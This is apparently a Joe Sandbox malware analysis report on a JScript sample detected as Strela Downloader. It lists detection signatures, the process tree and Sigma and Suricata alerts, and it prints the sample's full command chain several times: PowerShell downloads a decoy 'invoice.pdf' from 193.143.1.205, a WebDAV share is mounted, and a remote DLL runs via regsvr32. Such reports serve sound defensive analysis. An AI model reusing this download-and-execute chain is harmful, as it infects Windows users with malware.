Edit tour

Windows Analysis Report
7605302032554420656.js

Overview

General Information

Sample name:	7605302032554420656.js
Analysis ID:	1587859
MD5:	a31f4d26cf29bde8910e6d69e75dd14f
SHA1:	b980ed7c3c02955d859636e150c35a8e270b3883
SHA256:	371f7815931e5ae92638992f42caaba90527b756b591e3badb7795150bcd8f89
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5956 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3392 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6876 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7044 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,5404346436032422995,13302890609983779692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6060 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4180 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6920 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5956	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6876, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6876, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ProcessId: 5956, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4180, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49721

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ProcessId: 5956, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6876, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6060, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4180, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6920, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6060, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4180, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll, ProcessId: 3392, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:41:02.542601+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49721	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:41:00.408553+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7605302032554420656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7605302032554420656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49721 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:41:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49721

Source: global traffic

TCP traffic: 192.168.2.6:49721 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:50735 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

